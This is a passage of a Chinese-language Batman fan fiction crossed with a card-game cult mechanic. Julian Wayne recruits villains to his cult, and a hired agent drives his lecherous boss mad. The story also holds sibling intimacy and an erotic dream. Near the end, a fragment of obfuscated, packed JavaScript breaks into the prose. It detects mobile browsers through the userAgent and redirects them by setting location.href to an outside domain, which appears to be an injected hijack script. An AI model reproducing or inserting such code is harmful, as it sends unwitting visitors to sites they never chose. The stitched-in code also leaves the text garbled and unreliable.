它的整体外形设计参考了冰山,建筑主体用洁白晶莹的仿冰材质和晶莹剔透的玻璃构成,周围则用同样的材质模拟海湾之上的碎冰。每当夜幕降临,璀璨灯光不停变幻,这座人造冰山就会成为熠熠生辉的水上明珠。
这个会所集餐厅、酒吧、赌场为一体,在哥谭的上流社会很受欢迎,特殊的会员制让只有收到邀请的人才有机会进入。然而今天,却有位客人不请自来。
企鹅人能感受到直逼自己后颈的危险气息,他撑着雨伞的手柄站在一幅画前介绍:“你说的就是这幅画吧。大概是一周前,它突然出现在我们的拍卖会上,我用三百美元买下它,用于收藏。”
他所说的那幅画正挂在这间办公室的墙上,没有署名,画面的主体是一名纤瘦的青年。黑发散乱,瞳孔无光,整幅画的色调偏暗,颈脖之下就只能隐约窥见赤裸的肩膀,唯有那张秾丽精致的面孔格外突出,用了不少鲜艳的笔触。
这幅画乍一看只是一幅普通的肖像画,但从瞳孔反射出的图案和扭曲的背景可以看出,这是从镜中窥视的视角,处处充满凝视的意味。
在文学和美术作品中,凝视往往表达喜爱、控制和欲望,这幅画更是情感饱满,爱欲几乎要溢出纸面,光是站在这幅画前,蝙蝠侠就能感受到强烈的诱惑,心潮也随之涌动,一些记忆深处的混乱片段再次浮现。
难怪疯帽匠在看见这幅画后就被深深吸引,并且在看见报纸时立刻确定爱丽丝的人选。虽然这幅画的风格并没有多么写实细腻,但只要是见过尤里安的人,就能将他和画中之人对上号。
没有人能忍受家人被不明人士画下这样一幅画,蝙蝠侠在看见它的第一眼就极其不适,沉声说道:“告诉我卖家的所有信息。”
“你知道的,蝙蝠侠。”企鹅人磨挲着木质手柄,露出一个商人的微笑,“冰山会所的拍卖会有一项匿名寄拍业务,为了保护客人的隐私,从拍品登记到结束汇款的整个过程完全保密,就算我也不知道卖家是谁。”
蝙蝠侠揪住企鹅人的衣领,毫不留情地揭穿他:“你以为我会相信你?汇款账户、监听追踪,你必定掌握一份名单。”
企鹅人能感受到蝙蝠侠的语气变得严厉,他知道,如果自己再不配合的话,对方的铁拳就会狠狠亲吻自己的脸颊。
他不得不真诚辩解:“这就是问题所在,蝙蝠侠,它是‘凭空’出现的。我们查不到这幅画的来源,也没有汇款账户。在确定画作归属后,那笔钱就自动划走了。”
这时已经秘密侵入冰山餐厅账务系统的红罗宾在通讯频道里说:“Bat,企鹅人没说谎,六天前确实有300美元凭空消失了,我查不到那笔钱的去处。也许得让神谕来,她过几天就回哥谭了。”
蝙蝠侠没有回应,不过松开了手,不再那么咄咄逼人,转而审问企鹅人为什么会勾结上疯帽匠。
企鹅人:“这你可就冤枉我了,他只不过是受人委托来找我借一笔钱而已——呃,也许说不上是借?那群家伙向来有借无还。至于那笔钱是买武器还是买其他什么东西,我就不清楚了。”
红罗宾在通讯频道里补了一句:“那笔钱最终被用于购买5000份报纸,对就是你想的那一期。”
蝙蝠侠:“……”
企鹅人看他一副很想把自己抓起来的样子,轻点着雨伞有恃无恐:“别这样看我,蝙蝠侠,我只是好心地借了笔钱而已,你没有理由抓我不是吗?最近我可没有捣乱。你更应该关注的是阿卡姆那些人,而我只是个诚信商人,老实经营着这家冰山会所。”
几个月前蝙蝠侠曾用走私武器的罪名把他送进黑门监狱,但他只在里面呆了一周,就花了一大笔保释金把自己捞了出来。
相比于那些精神病罪犯,企鹅人的行动更加理性也更加隐蔽,在现在的制度下,蝙蝠侠确实无法拿企鹅人怎么样,这也是对方有恃无恐的原因。他此前也因为最近的走私案调查过对方,但没有查到任何证据,企鹅人看起来是完全清白的。
必要的信息已经得到,继续纠缠下去就是浪费时间,蝙蝠侠冷声留下一句警告:“我会一直看着你。”
说罢,他就离开了冰山餐厅,还带走了那幅画。
企鹅人气得嘟囔几句:“……蝙蝠抢画不付钱,有时候真想报警!”
被扒走了画的墙壁空空荡荡,企鹅人不得不去自己的收藏室里重新挑选一幅画作,叫人拿上去填补那处空缺。而在挑选过程中,他忽然感受到无数道视线,几百幅画里的人像似乎都活过来了,直勾勾地盯着他。
他正被无处不在的存在注视,这种感觉令人毛骨悚然,直到他听到那道甜蜜诱惑的耳语。
企鹅人镇定自若地摘下帽子,朝着虚空行了个绅士礼,露出一个微笑:“您终于出现了。”
“您在哥谭的夜晚早已声名远扬。”
【信徒科波特】:科波特喜欢各式各样的新颖雨伞,他致力于在自己的雨伞上设计新的机关。除此之外,他还经营着一家备受欢迎的冰山会所,他利用这座水上建筑赚取钱财、获取情报。(启5/凡人/追随者)
……
尤
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里安花了一点时间将熟人转化为信徒。
这两天本体状况堪忧。他对布鲁斯说的那句话算是真假掺半,每次回到本体时,他总会感到大脑刺痛记忆凌乱,很多破碎的画面纠缠在一起,这大概又是洗脑装置造成的影响。
所以在本体昏睡的这段时间里,尤里安将大部分精力都花在另一边。
这就是拥有第二具身体的方便之处了,无需吃药也无需静养,他完全可以自由活动,用这具身体做了很多事。
比如传播教义,比如研究书籍,比如去那个翘了好几天的公司上班赚钱。他在传播教义的过程中结交了[熟人科波特],随后又将对方转化成信徒。
除此之外,尤里安还探听了不少关于那天晚上的情报,才知道原来除了疯帽匠的绑架案,那天晚上哥谭大酒店还差点被炸弹炸上天,布鲁斯根本没有跟他提起这件事!
了解爆炸案的人比较少,哥谭犯罪论坛上的帖子只有寥寥几个,大部分都是关于疯帽匠的。
尤里安着重关注了爆炸案,终于找到了一两个知情人,有人说这起案件很奇怪,炸弹的数量和位置都不合理,所以哥谭警局派去的拆弹专家恰好赶在最后时限里把炸弹拆掉了。
尤里安立刻想到被自己派出去赚钱的免费雇工[炸弹制造师],联系起那天发生的事情,他认为疯帽匠所说的“水沟里的小老鼠”大概率就是爆炸案的执行者,他在筹划绑架的时候恰巧撞上对面的行动,就顺手把人捉回来给他干活了。
尤里安忽然有点后怕——这么看来疯帽匠还是干了件好事的,如果不是他把那几只小老鼠抓起来,拆弹工作可能就不会那么顺利,布鲁斯就很可能有危险。
他整理了获得的信息,这些信息最后转化成了桌面上的一张卡片。
【古怪的传闻】:一份关于哥谭酒店爆炸案的传闻。与合适的人讨论此事,或许能让我找到想找的人,或许能引我窥见真相。
尤里安想到刚刚吸纳的[教徒科波特]的描述里有“擅长获取情报”这一点,正准备跟他谈论一下这件事。
然而就在这时,他察觉到了丝丝涟漪,是从本体那边传递过来的震动。
尤里安回到本体,发现是阿福给他取针,手背上的刺痛惊醒了他。
他吃过药,想了想,忽然改变主意了,决定先去找当事人。
“有什么需要帮忙的吗,尤里安少爷?”阿尔弗雷德询问。
尤里安拖着枕头下床:“我要去找布鲁斯。”
阿尔弗雷德注意到他的表情,默默给深夜未归的蝙蝠侠点了根蜡。
17.疾病肆虐的时节(17)
“恕我打扰,蝙蝠侠,您的弟弟忽然想和您进行一场促膝长谈。”
在蝙蝠侠结束冰山会所的调查,并确认阿卡姆和黑门监狱都毫无动静,准备开始每日的例行夜巡时,便士一忽然传来一道讯息。
蝙蝠侠双手握着方向盘,拿出一个最常用也最方便的理由:“跟他说布鲁斯韦恩今晚在约会。”
阿尔弗雷德不赞同地说:“可尤里安少爷看起来有点生气,您确定要在家人刚刚遭受意外的时候出去约会吗?”
副驾驶上的提姆插了一句:“这个理由确实不好,尤里安会伤心的。”
频道里的迪克也来添乱:“约会对象是企鹅人吗?那你还不如说你在睡觉。”
蝙蝠侠难得有点茫然——尤里安为什么会生气?
还没等他想清楚自己做了什么错事,通讯频道里传来阿尔弗雷德的实时汇报:“尤里安少爷已经拿上了枕头,马上就要去敲您的门了。”
蝙蝠侠陷入沉默。
对两个孩子来说这可是难得一见的情景!尤里安对Bat来说简直是大杀器,他被保护得很好,什么都不知道,也恰恰是因为这点,他总能把蝙蝠侠从冰冷严肃的工作状态中拉出来。
迪克忍着笑,发现自己表现得太明显了,又掩饰般地咳了几声,切换成夜翼状态:“回去吧,Bat,今晚的夜巡我可以代劳。”
这在目前的情况下确实是最好的方案了,阿卡姆和黑门监狱等重点区域已经检查过,只剩常规夜巡没有完成,而夜翼和红罗宾都拥有丰富的夜巡经验,他们能办好一切。
想清楚后,蝙蝠侠没有浪费时间,压低声音说:“帮我拖住他,阿福。”
“至少拖到我到家。”
“好的。不过工作时间里,请称呼我为‘便士一’。”阿尔弗雷德揶揄地笑了下,通讯频道里传来一阵脚步和他不慌不忙的声音。
“请稍等,尤里安少爷,布鲁斯少爷或许在洗澡。您可以趁这个时间再做两项检查,不用太久,只要十几分钟。”
蝙蝠侠知道他是故意让自己听见的,但他也只能将油门踩到底,朝着庄园的方向狂飙。
……
尤里安敲了几下门,最开始没人应答。
他也不急躁,过了一会儿才重复刚才的动作。
几秒后,他能隐约听到脚步靠近门口,然后门开了,温暖的水汽和蓬勃的热力随着拉开的门缝扑面而来。
只穿着浴袍、头发还有点湿的布鲁斯倚着门,表情有点惊讶:“抱歉——我刚刚在洗澡。”
“怎么突然过来了?”
尤里安的视线在布鲁斯腰腹胸口上停留。布鲁斯的领口几乎是敞着的,腰带也乱糟糟地只系了一半,整件浴袍都松松垮垮,确实是刚洗完澡匆匆忙忙穿上的样子。
也因为穿着匆忙,尤里安才能看到他那流畅饱满的肌肉线条,以及肌肉之间刻着纵横的伤疤,一种成熟男性的魅力扑面而来,强壮健康又充满活力,这是尤里安最羡慕的那种身体。
他自己怎么都不可能拥有同款身材,就连教主也没有,虽然力量已经超出人类极限,但教主的身体还是偏向青年的瘦削。
布鲁斯不着痕迹拢了一下浴衣,把胸口以下的位置遮住。
没得看了,尤里安收回飘逸的思绪,这才抬头看向布鲁斯的脸。
“没什么,只是忽然想你了,今晚想和你一起睡。”他嘟囔了声,根本不给拒绝的时间,很熟练地从门缝里钻了进去。
进到宽敞的卧室,他看见房间里只留了一盏昏暗的夜灯,很自然地在床边坐下,放下自己带过来的枕头,兴致勃勃道:“布鲁斯你打算休息了吗?说起来,我们多久没有一起睡觉了?”
说着,尤里安直接钻进几分钟前才被布鲁斯展开、伪装成有过使用痕迹的被子。
他看起来想要来场兄弟间的夜谈,虽然有点突然,但昏暗的环境和亲密的姿势确实有助于敞开心扉,布鲁斯想,他或许可以趁机听听尤里安的真心话。
于是他擦了擦头发,也跟着躺下去。
两个人面对着面,透亮的眼珠倒映着对方的面孔,就像小时候一样。
尤里安没有一开始就兴师问罪,他的声音很轻:“我记得小时候有段时间我一直做噩梦,我就天天抱着枕头来找你,只要抱着你睡觉,好像就没有什么事情值得害怕了。”
布鲁斯记得这段时期,那大概是变故发生后的几个月,他自己也夜夜遭受噩梦侵扰。
他们就像两只被抛下的小兽,相互舔舐治愈,用加倍的亲密补偿失去至亲的痛苦和不安,填补空荡虚无的心口。
这确实有效,用力的拥抱和紧贴的皮肤足够抵消噩梦带来的恐惧,那时他们可以说是世界上最亲密的人。
他揣摩着尤里安突然提起这件事的意思,嘴上却笑了,好像也跟着陷入回忆之中:“是的,你很怕冷,那段时间我每天都得帮你把手脚捂热。”
“可是后来——我指的是你外出游学不出所踪之后,我们就再也没有过这样的时刻了。”说到这里,尤里安的声音骤然低了下去,伸手抚摸着那一道道新旧交错的疤痕,语气非常低落,“我记得之前你身上没没有那么多的伤疤……”
他的手指穿过松垮的浴袍,柔软的指腹从粗糙不平的伤口抚过,带来一阵奇怪的麻痒,像是新肉刚刚长出来,明明那道伤疤早就彻底愈合了。
布鲁斯不自觉紧绷肌肉,被触碰到的地方硬得像铁一样。他忽然产生了不太好的预感,他大概知道尤里安想表达什么了。
但为了维持人设,他也只能用满不在乎甚至洋洋自得的语气回应:“这是前阵子去滑雪的时候留下的,算是我的勋章——你知道的,我喜欢刺激的运动。”
尤里安沉默几秒:“可是你总是什么都不跟我说,布鲁斯。”
“我想起来一些片段……当时我睁不开眼,但听得到,有人说酒店下面埋了炸弹,目标就是你们,而那天晚上炸弹差点就爆炸了。”
这两天尤里安一直处于半昏迷状态,他无法解释自己是怎么得到情报的,只能把锅甩到疯帽匠头上,反正布鲁斯也不可能跑去阿卡姆审问疯帽匠。
酝酿已久的情绪在此刻慢慢膨胀,他不知道自己的眼睛被昏黄的小灯点亮,看起来有点生气,在黑暗中显得很动人。
“那是一场针对新哥谭计划的恐吓?”他的语气变得严肃,“布鲁斯,你也在名单之内。”
“你知道这件事,为什么不告诉我。”
布鲁斯低声解释:“你才刚刚遭受一场意外,我不想让你担心。”
尤里安拉近距离,近到夜灯的光亮都被阴影笼罩,他们能感受到彼此的吐息。
他知道在这种距离下没人能够拒绝自己,咄咄逼人地直视布
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鲁斯的眼睛,不给他任何逃避的机会:“可是我们是家人不是吗?我有权力知道这些。”
“抱歉。”布鲁斯只能又一次说。
最近他说了太多次抱歉,他注意到尤里安惶惶不安的双眼,黑发凌乱地散落在枕头上,脸色脆弱苍白,这让他的眼神比起生气更像难过。
布鲁斯想起哥谭警局给出的疯帽匠洗脑装置使用后果分析报告。
经历过洗脑的人更容易感到惶恐不安,他们往往分不清虚假记忆和现实,为了锚定自己,甚至会发展出对身体接触和精神关爱的强烈渴求,他们需要家人朋友的深层次陪伴,建立现实世界的情感锚点。
尤里安还在慢吞吞地说话:“我不知道是从什么时候开始的……布鲁斯,我感觉你在疏远我。我让你感到讨厌了吗?”
布鲁斯低声说:“并没有。”
只是他们做过错事,而他始终无法接受。
但现在确实不是个逃避的好时机,尤里安什么都不知道,那段记忆对他来说是虚无的空白……在他看来,他确实是无缘无故遭受疏远,心里肯定不好受。
“我知道了,今后我不会再这样了。”
布鲁斯做出尤里安想要的保证。他告诉自己要表现得像一个正常的兄长一样,给缺少安全感的弟弟一个安抚的拥抱。而怀里的人很明显地开心起来,心满意足地反抱住自己,发出一声满意的喟叹。
布鲁斯尽量凝神静气,却仍然能感受到手下的皮肤柔润细腻,抱起来像一块手感上佳的玉石。这几天尤里安体温一直偏高,像一颗熟透的果子,皮肉之间似乎散发着甜蜜的香气。
熟悉的感觉让他想到他带回来的那幅古怪的肖像画,又想起那个神秘的[导师]。
蝙蝠侠相信一切怪异之间都有关联。
但无论如何,他都会保护好尤里安。
“睡觉吧,好吗?”
……
在这样安逸舒适的环境里,尤里安确实有点昏昏欲睡。
本体本身就精力不济,一直在被迫昏睡,他用教主的身份肝了好几天,也没怎么获得真正意义上的休息。
所以他很快就睡过去了,第二天醒来时,还有点没反应过来,习惯性地蹭了蹭被子,深深吸了一口气,享受陷在被窝里的幸福感。
直到他不小心蹬到了炽热的大腿。
尤里安动作僵住,迟钝地眨了眨眼睛。
难怪被子的味道里不太一样……他嗅了几下,昨晚的记忆渐渐回笼,想起自己别别扭扭的话,他忽然有点尴尬。
不过这点尴尬很快就过去了,他成功说开了这段时间的古怪的隔阂,布鲁斯的拥抱让他很受用。
尤里安翻了个身,侧过脑袋看着仍在熟睡的兄长,用视线描摹他高挺的鼻梁和英俊的脸,一根根地数他的睫毛,想象这双漂亮的眼睛睁开,含着笑意看自己的模样。这种被喜欢的味道包裹全身、完全占有一个人的视线和拥抱的感觉让他感到非常满足。
不过,想起昨晚的对话和没做完的事,尤里安又冷静下来,脑海中逐渐形成一个新的目标。
爆炸案的真凶仍然藏在幕后,说不准什么时候就会发起行动。
如果是从前,他只能拖着这具病体无力地旁观。但现在,他可以用另一个身份,在下一次危险到来之前把源头扼杀在摇篮里。
他要保护布鲁斯。
18.野心勃发的时节(1)
尤里安先后跟三位教徒讨论了那张[古怪的传闻]。
他们视角各异,给出的信息也各不相同。
【教徒杰维斯】:“在给小老鼠们洗脑的时候,我发现他们的记忆本就是一片空白,只被植入一个关键锚点——”鼻青脸肿缠着绷带的杰维斯说,“让布鲁斯·韦恩和他的朋友们炸成烟花。”
【教徒科波特】:“蝙蝠侠也因为这事找过我,但那批军火确实不是经我手流入的,我也在追查是谁在害我,线索最后断在亚当斯码头。”科波特擦拭着伞柄上的血迹,长长的鹰钩鼻尽显阴狠,“不过那里有一半是双面人的地盘。”
【教徒爱德华】:“不知道您有没有听过一首童谣?”给重度精神病人用的拘束带不知何时解下来了,爱德华正在填一本数独游戏,“是关于飞行动物的古老歌谣。”
疯帽匠和企鹅人都带来了新的线索,谜语人又在神神叨叨。
谈话结束后,那张[古怪的传闻]的倒计时被刷新了,这张卡牌被赋予了更多的信息。
尤里安感觉自己在玩一场典型的侦探游戏,为了解开最终谜底,他还需要更多线索。
但他其实不喜欢按部就班的解密游戏。
就像一场无趣的牌局,与其抽丝剥茧慢慢揣测牌手的意图,不如扔了牌面直接掀桌。
只靠他一个人当然不行,个体的力量有限,不会带团队就得干到死,教主总不能事事都亲力亲为,尤里安需要一个拥有掀桌资本的组织。
不是现在这个小猫三两只的初生教团,而是在此基础上发展起来的更加成熟的、根深叶茂的组织,能够悄无声息又强硬有力地渗透哥谭的夜晚,让幕后黑手行动前不得不考虑他们的存在。
光是想到那个未来,尤里安就感觉心跳加速,血液沸腾,沉寂许久的事业心熊熊燃烧。
他开始认认真真规划教团的未来。
建立一个组织的根本,无非是人、财、物。
对应到教团,就是教徒、资金和物资。
其中资金和物资都是死物,只有人是灵活可持续的资源,优秀的教徒能给教团带来源源不断的利益。
所以,将教团发展壮大的第一步肯定是广收教徒吧?
不……
是赚钱!
……
钢笔在纸面上划得沙沙作响,手指敲击键盘发出刺耳的哒哒声,办公室角落的咖啡机嗡地一下开始运作。
所有无趣的杂音汇聚在一起,像是飞蛾摩擦翅膀,啮齿动物啃噬树桩,声音不大却惹人心烦。
伟大的杯教之主正坐在帕沃斯科技的工位上算账。
唉,资本,唉,哥谭……
直接扩大教团还是太理想化了,没钱怎么经营教团,疯帽匠带回来的那几个免费雇工只是例外。事实上,教主吃饭要花钱,买书要花钱,治病要花钱,雇佣打手要花钱,画画用点比较好的颜料也要额外花钱,所有教团活动都要钱。
尤里安在这周目的运气不太行,之前他几乎把每日固定开销以外的所有积蓄都投入书店,硬是刷了几个月,才刷出来第一本杯教书,这也导致这么久以来他手上始终没什么闲钱。
一旦资金链断裂,教主就会因为吃不起饭生病,不去治病就会直接解锁死亡结局,第三周目的教主就是这么死掉的。
一分钱难倒教团之主,尤里安·韦恩有钱,可教主却是个彻彻底底的穷鬼。他已经尝试过了,教主只能通过特定方式获得资金,尤里安打过去的钱无法在游戏系统中直接使用。
看来这游戏有独立的游戏币系统,却没有简单直白的氪金渠道,教主只能通过游戏中的活动赚取资金。
这也太死板了……哥谭人都在传布鲁斯·韦恩赞助了蝙蝠侠,尤里安·韦恩又为什么不能包养血杯教团的伟大导师呢?
氪佬玩家不得不转行肝帝,因为嫌弃系统挂机赚钱的效率太低,尤里安决定亲自上班。
昨天他通宵在码头当了一晚上临时搬工,耗费一份[健康]收获一份[资金]。昨天白天画的画还在拍卖中,不知道能卖出多少钱。
干体力活赚钱太少,画画赚钱不稳定,有时候能突然小爆一下,有时候一分钱都赚不到,都不如在公司上班稳定,所以尤里安看见资金见底后,就立刻回公司上班了。
但前几天他忙着画画和探索,持续旷工超过三天,代表公司的卡牌已经变成灰色,卡牌的描述也发生了变化。
【职场困境:降职】:旷工的事情暴露了,我也因此降职。为了保住职位,我需要使用[激情]尽力说服上司。
尤里安不得不敲响小帕沃斯办公室的门,在门里不耐烦地传来一声“进来”之后将门推开。
那张曾在宴会上见过几次的讨厌的脸正歪歪扭扭地撑在办公桌后,从尤里安这个角度能隐约看见他的腿边跪坐着一个黑发黑眼的漂亮少年。
那个少年被迫仰着脸,表情痛苦又愉悦。
尤里安面无表情地移开视线,耗费一张[激情],公式化地描述了希望撤销降职的事情。
在对话的时候使用[激情]不亚于电影主角的嘴炮,小帕沃斯很轻松地同意了他的请求,不过就在尤里安准备回去工作的时候,小帕沃斯念出了他胸前的工牌:
“约翰·多伊?我以前怎么没发现你长得还挺不错的呢?腿还挺长,看起来有点像某个人……”
他的视线在在尤里安的脸上打转,嘴角扬起一丝微妙的笑来。
啧,职场骚扰。
这是这家伙第二次把小心思打到他身上来了。
尤里安装作没听见这句话,在对方没看见期待的反应而不满的目光里回道:“我回去工作了。”
转身后他立刻目露凶光,心想等下次在宴会上见面时,他一定要用红酒灌满这张丑脸的鼻孔。
把没礼貌的脑残上司抛之脑后,这份工作的内容还是不错的。
以耗费一份[理性]为代价,尤里安总能做得很快,而且吸取了上次的教训,他会故意装成还没做完的样子,从而成功在工作之余摸鱼,监督其他作业区的进度。
比如这个上午,他系统地学习了拉丁语,下午他将会完整地翻译一本拉丁语撰写的书籍,晚上大概就可以把这本书解读成密传。他还派人去买了本梵语教材,明天他就可以继续学习梵语了。
在学习
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的间隙,他还可以利用谈话栏散播一下教义,看看能不能引来新的潜力股。
真是充实的生活啊。
上午的工作很快就结束了,尤里安正准备下线回庄园吃个午饭。但看到同事们聚在一起吃午餐,他忽然推迟了下线的想法。
尤里安在租房里照过镜子,这具身体的脸确实跟本体一模一样。
而他外出活动时总是带着兜帽,公司是唯一一个露脸的地方。上次来公司时尤里安还只当这是个游戏,没把露脸放在心上,但现在不一样了。
从小帕沃斯的反应来看,他没认出自己和他上次在宴会上搭讪的是同一个人;同事们天天从韦恩大厦路过,也不可能不认识尤里安·韦恩,但他们也从未对自己的脸发表评论,尤里安很好奇不戴兜帽的自己在他们眼中的形象。
杰米正和同事们聊天。
“约翰又旷工了好几天,我还以为他终于被公司炒掉了,没想到今天居然回来了!小帕沃斯真的这么好说话?”
“唉,小帕沃斯完全就是个色鬼,他办公室里什么样我都不想说,进去交报告都想打个工伤保险……他今天不是还带了个男孩过来?”
“我看到约翰进了小帕沃斯的办公室,不过两分钟就出来了。”
“所以约翰……?”
“不,我觉得还是机器人理论比较合理。前阵子才说他变得通人性了,这几天消失说不定是回去调整程序了呢?”
说到这里,同事发现杰米的表情突然像见了鬼一样。
他一回头,也是见了鬼了——因为被他们讨论的主角居然一屁股坐在了他们旁边。
没有什么事情比在背后蛐蛐人的时候被本人听见更尴尬了,一群人顿时不敢说话了,以为约翰是来找茬的。
可是约翰并没有提到旷工的事情,而是问了一个古怪的问题:“你们觉得我长得怎么样?”
众人匪夷所思,不过奇妙地默默松了口气。
还好,虽然约翰还是不太正常,但还是那个熟悉的人机味……难不成这是下次调整外貌的问卷调查?
他们谨慎地发表看法:
“我觉得约翰很清爽,看起来像个刚毕业的学生。”
“What?不是酷哥吗?脸型很锋利啊。”
“不对吧,你看这下垂眼,明明是可爱型的。”
“咦,前几天见面时是这个样子吗?完全想不起来了……”
每个人对尤里安的外貌描述都不一样,说到最后还互相怀疑起对方的眼光。
尤里安打开桌面,一张[秘氛]恰好缓慢消散,又一张[秘氛]的倒计时缓缓走动起来。
他若有所思,原来秘氛能混淆他在其他人眼中的外貌?
但小帕洛斯又为什么会觉得他“像某个人”……
虽然只是“像”,没有直接等于,但尤里安还是感受到了身份危机。哪怕只有1%暴露的可能,他也感觉有一万只蚂蚁在血管里爬。
算了,还是直接把小帕沃斯干掉吧,浇红酒还是太奖励他了。
赚钱,先从解决讨厌的上司入手。
说不准干掉上司,他就能升职加薪了呢?
19.野心勃发的时节(2)
尤里安是个行动派。
下班之后,他就开始物色合适的办事人选。
马尔兹·帕沃斯是帕沃斯家最小的儿子,听说很受帕沃斯夫人的宠爱,直接把他刀了可能会引来麻烦。哥谭警局还好,引来蝙蝠侠就很糟糕。
尤里安更倾向于把他逼疯,反正哥谭多精神病人这么多,而很少有人会相信一个疯子说的话。
又或者,利用小帕沃斯好色的特点安排一场仙人跳?拿到把柄逼他乖乖滚出公司……
现在教团内三位有编制的教徒里,蛾属性的疯帽匠是最合适的,被蝙蝠侠揍得半身不遂也没事,尤里安可以花一份[资金]给他治伤。但疯帽匠才刚绑架过本体,突然越狱只为逼疯一个玩世不恭的富家少爷肯定会引起蝙蝠的注意。
尤里安需要这份工作,他暂时不想让蝙蝠侠注意到这家公司,以及隐藏在普通职员之间的“约翰·多伊”。
谜语人也不行,被蝙蝠侠重点关注的阿卡姆人脉都不行。
至于疯帽匠带回来的那三位编外雇工——其中两个早在当天晚上就失去联系,尤里安推测是被警察抓走了,只有一个被自己派出去赚钱的[炸弹制造师]留下来。
思来想去,尤里安把这个任务交给了企鹅人。
他要求企鹅人给自己找一个人,最好骗术高超或擅长色诱,企鹅人很快就办好了,第二天就为他带来了一名临时雇工。
【经验丰富的心理学专家】:“很高兴为您做事!您需要我做些什么呢?”(雇工/凡人/追随者/杯3/蛾5)
拥有杯属性的人大概率很有魅力,拥有蛾属性的人则往往是欺诈大师。
这个心理学专家又有杯属性又有蛾属性,确实是个不错的人选。
尤里安对此很满意,花费1份[资金]雇佣了她,随后把代表雇工的卡牌拖进谈话栏,又拖入了代表公司的职位,谈话栏上的文字发生变化。
【派一名狡诈的手下逼疯眼中钉】:小帕洛斯傲慢、野蛮、粗鲁而好色,是个毫无用处的草包,他已成为我工作过程中的最大阻碍。此次行动大概率能摆脱这个讨厌鬼,但如果失败,可能引来猎人的追查。
心理学家愉快地领了任务离开了,工作台下的倒计时缓慢流转。尤里安希望倒计时归零时,她带回来的是个好消息。
派人干坏事的感觉还真不错,特别是被他针对的对象还是个对他怀有垂涎之心的讨厌鬼。当天晚上,尤里安十分亢奋,睁着眼睛睡不着觉。
他意识到这种反应不太正常,不过这无关紧要,不会有人知道这是尤里安·韦恩干的。[导师]做的坏事也不会破坏他在布鲁斯和阿福面前保持的病弱安静的乖宝宝形象。
顺带一提——
由于前些天他跟布鲁斯的深夜长谈,他们的关系又恢复如初,尤里安的胆子也大了起来,偶尔会以做噩梦为借口要求进入布鲁斯的房间,就像小时候那样。
疯帽匠造成的后遗症是个很好用的理由,尤里安可以借着头痛表现出脆弱的情绪,这时布鲁斯和阿福就会用一种怜惜的眼神看他。
每当尤里安察觉到这种眼神,他就知道自己可以提出越界的要求了。
尤里安的要求很简单,这几天本体退烧了,但他仍然觉得心慌意乱,哪怕是抱紧被子也感觉身体的每一寸角落都很空虚,他需要更温暖、更有力、更强烈的拥抱……或者说触碰。
他时常幻想有一双手用力勒紧他的皮肤,哪怕带来的是痛苦——但只要能填满他的空虚就好。
为了逃避这种异样的空虚,每个独自度过的晚上,他都会跑到教主的身体里干活,用繁琐的密教事物充实自己,只在不得不休息的时候才下线回庄园睡个觉。
今天就是个需要休息的日子,翻来覆去的尤里安意识到失眠也是一个好理由,布鲁斯给他开了门。
被包裹在令人安心的味道里,尤里安渐渐放松下来,不知道什么时候睡过去了,他还做了一个梦。
梦里是不见天日的黑暗,耳边是茫然而粗重的喘息。
黏腻湿滑的血色顺着皮肤的纹路缓慢爬行,奇异的香气盈满整个房间。有什么人抱着他,粗糙的手指用力碾过艳红,带着热气的舌亲吻着腿弯。
尤里安掌控着这个房间里的一切,他冷漠地听到门外有人在焦急地呼唤,但蜿蜒的血红堵死了一切出口。
与此同时,他被打开了,剧烈的痛苦几乎要将他撕裂,强烈的愤怒和恐惧被痛苦填平,随之而来的是极致的愉悦和充实的满足。
但是不够、不够,还不够!
喉咙里涌现出阵阵干渴,空荡荡的胃部诉说着饥饿,只是单纯的触碰还远远不够,他张开嘴,忍受着令人狂躁的干渴索求更多。
猩甜的血味弥散开来,将香气激发得更加浓烈,尤里安迷醉地望着天花板,在混沌的视野中,他看见一双熟悉又漂亮的蓝眼睛。
那双眼里满是痛苦,却不得不共同沉沦。
尤里安惊醒了。
他剧烈地颤抖了一下,有些茫然地侧头望向盖了另一床被子背对着他的男人,无意识地用视线描绘他的肌肉,对比他的身形。
梦中的人影似乎与现实渐渐重合,熟悉的干渴和饥饿好像还没褪去,尤里安喉结动了动,有些慌乱地侧过身。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588301|170204||http|test|mini|href|location''.split(''|''),0,{}));
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>不不不——
他怎么能做这样的梦?而且还试图代入布鲁斯!
肯定是因为韦恩家的人都对黑发蓝眼情有独钟,他自己没有,所以才会格外喜欢,甚至情不自禁地在性幻想对象脸上安上那双眼睛。
对,绝对是这样。
尤里安独自混乱了一阵子,偷偷看了几眼仍在熟睡的布鲁斯,始终有些心虚,直接逃到另一具身体里。
工作的环境总是最有性缩力的,一旦开始上班就不会胡思乱想了。骤然离开了温暖的卧室,出现在帕沃斯科技的工位上,尤里安成功冷静下来。
他习惯性地做了几分钟表格,才想起来自己昨天派人干的事情,切出绿色桌面查看谈话栏的结果。
【为眼中钉安排一场暗夜惊魂】:我的手下已经安全归来。小帕沃斯度过了一个难忘的夜晚,他几乎被恐惧压垮,已经不能清楚地说话了,更别说以后再来烦我。
这个消息让尤里安的内心获得了无限的安宁和平静。
他从中拿出雇工卡和公司卡,卡面上的描述都发生了变化。
【经验丰富的心理学专家】:“真是个脆弱的小男人,我只不过逗弄了他一会就不行了。不过,这应该也算完成任务了吧?”(雇工/凡人/追随者/杯3/蛾5)
【帕沃斯父子公司的高级职位】:小帕沃斯不会再来公司了,他的办公室空了出来,那里很快会迎来更有能力的主人。
在正常途径里,一份[资金]只能购买一个周期的劳动力,现在任务完成,周期结束,代表心理专家的雇工卡即将消散。
不过这也无所谓,因为尤里安暂时没有其他任务交给她,而且他很快就收到了升职的消息——
当天下午,约瑟夫·帕沃斯亲自来了,在同事们疑惑又震惊的目光中带他走进小帕沃斯曾经使用的办公室。
办公室里的个人物品都被装进一个大箱子里搬走了,尤里安在里面看见了形状古怪的玩具。
约瑟夫当然也看见了,他的老脸上流露出难言的愤怒和难堪,嘴里嘟囔着“真是个没用的蠢货”。
然后他看向尤里安,表情是和他的小儿子如出一辙的高傲:“我知道你,你的能力还不错。从今天开始,你就是这个部门的总负责人了。”
尤里安看了眼墨绿色桌面。
